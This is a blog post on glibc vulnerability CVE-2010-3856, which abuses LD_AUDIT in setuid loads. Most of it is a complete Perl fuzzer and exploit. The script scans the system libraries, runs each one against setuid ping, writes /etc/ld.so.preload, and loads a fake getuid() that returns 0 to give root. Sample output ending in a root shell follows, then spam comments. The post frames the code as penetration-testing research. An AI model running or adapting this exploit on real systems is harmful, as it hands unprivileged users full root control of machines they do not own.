Pages

Tuesday, April 19, 2011

Fuzzing and exploitation of vulnerability CVE-2010-3856

The vulnerability “The GNU C library dynamic linker will dlopen arbitrary DSOs during setuid loads" detected by Tavis Ormandy at the end of 2010 force most users to patch their systems as soon as possible.

An unprivileged user can run arbitrary code with highest privileges in the system using LD_AUDIT mode in ld.so with spoofing $ORIGIN by hard-coded link and running a SUID program via file descriptor.

The vulnerability description includes only several potentially unsafe libraries:
liblftp-tasks.so.0 and libpcprofile.so. But indeed, there can be much more of them in the system.
If your system does not include the libraries, it does not mean that your system is not vulnerable.

The following exploitation method was published: create a backdoor file and run it with highest privileges via cron. But this method is not universal.

After a short research, we create a simple fuzzer to detect all libraries in the system that can be used to compromise the system if there is a vulnerability detected by Tavis Ormandy.

There is also an exploit created additionally to the fuzzer to check the exploitation results. The exploit spoofs /etc/ld.so.preload file to gain privileges. This allows attackers to gain the highest privileges in the system as soon as possible that is critical for penetration testing. See exploit is below:


#!/usr/bin/perl
use POSIX;
$ptxt="

[The GNU C library dynamic linker will dlopen arbitrary DSOs
during setuid loads]
[desc: Fuzz and exploit for RHEL5 / CentOS5 / Ubuntu]

";
print $ptxt;
our $old_fh=select(STDOUT); $|=1; select($old_fh);
# you can add your own paths to lib folder here
@libdirs=("/lib");
$tempdir="/tmp/fuzz/"; # temp directory
mkdir($tempdir);

#make some ascii
$total=0;
foreach $libdir (@libdirs) {
opendir(my $dir, $libdir);
@lf = readdir($dir);
closedir $dir;
$total=$total+scalar(@lf)-2;
}
$step=ceil($total/50);
$stepp=0;
print "0%"." "x6 ."20%"." "x6 ."40%"." "x6 ."60%".
" "x6 ."80%"." "x6 ."100%\n";
print "\[";
foreach $libdir (@libdirs) {
opendir(my $dir, $libdir);
@libfiles = readdir($dir);
closedir $dir;
foreach $libfile (@libfiles) {
$stepp++;
if ($stepp==$step) {print ".";$stepp=0;}
if (($libfile ne ".") && ($libfile ne "..")) {
@dump=`strings $libdir\/$libfile`;
foreach $dline (@dump) {
if ($dline=~/^([A-Z\_0-9]+)$/) {
chomp($dline);
$ccc=`LD_AUDIT="$libfile" $dline="$tempdir
$libfile-$dline" ping&>/dev/null`;
}
}
}
}

}
print "\]\n";

print "Fuzzing done. Thank you for using!\n";

opendir(my $dir, $tempdir);
@fuzzList = readdir($dir);
closedir $dir;
$libToExploit="";$argToExploit="";
if (scalar(@fuzzList)>2) {
foreach $fuzzFile (@fuzzList) {
if ($fuzzFile ne "." && $fuzzFile ne "..") {
my ($lib,$param)=$fuzzFile=~/(.*)-(.*)/;
print "Success: vuln lib - $lib ; arg - $param\n";
if ((-e "$tempdir$fuzzFile") && (!-d "$tempdir$fuzzFile")) {
$libToExploit=$lib;
$argToExploit=$param;
}
}
}
} else {
print "Fail. No vuln libs found. Try another target ;)\n";
exit();
}

$shCode=qq(#!/bin/sh
umask 0
LD_AUDIT=EXP_LIBRARY EXP_ARGUMENT=/etc/ld.so.preload ping
echo "[+] creating /tmp/getuid.so"
echo "int getuid(){return 0;}" > /tmp/getuid.c
gcc -shared /tmp/getuid.c -o /tmp/getuid.so
echo "/tmp/getuid.so" > /etc/ld.so.preload
);

if ($libToExploit ne "" && $argToExploit ne "") {
$shCode=~s/EXP_LIBRARY/$libToExploit/gi;
$shCode=~s/EXP_ARGUMENT/$argToExploit/gi;
open(SH,">spl.sh");
print SH $shCode;
close(SH);
chmod(0755,"spl.sh");
system("./spl.sh");
print "Hehe.. Type 'su' and be awesome!\n";
}


Example of usage:

dummy@bt:~$ perl spl.pl


[The GNU C library dynamic linker will dlopen arbitrary
DSOs during setuid loads]
[desc: Fuzz and exploit for RHEL5 / CentOS5 / Ubuntu]

0% 20% 40% 60% 80% 100%
[......................................]
Fuzzing done. Thank you for using!
Success: vuln lib - libpcprofile.so ; arg - PCPROFILE_OUTPUT
Success: vuln lib - libmemusage.so ; arg - MEMUSAGE_OUTPUT

Memory usage summary: heap total: 0, heap peak: 0, stack peak: 0
total calls total memory failed calls
malloc| 0 0 0
realloc| 0 0 0
(nomove:0, dec:0, free:0)
calloc| 0 0 0
free| 0 0
Histogram for block sizes:
ERROR: ld.so: object 'libmemusage.so' cannot be loaded as
audit interface: undefined symbol: la_version; ignored.
Usage:
ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
[+] creating /tmp/getuid.so
Hehe.. Type 'su' and be awesome!
dummy@bt:~$ id
uid=0(root) gid=1001(dummy) euid=1001(dummy) groups=1001(dummy)
dummy@bt:~$ su
root@bt:/home/dummy# exit

4 comments:

  1. Good information to know and right to the point. Thanks for this well written post, i’ll follow up for more updates if you keep posting them.
    employment news

    ReplyDelete
  2. This is the ultimate self-esteem corrector. Thank you for your post; it is a very important distinction 
    Govt Jobs in India

    ReplyDelete
  3. Informative Post.Thanks for sharing the information.
    Lodha bellezza Hyderabad

    ReplyDelete
  4. Informative Post.Thanks for sharing the information.
    Brigade Buena Vista

    ReplyDelete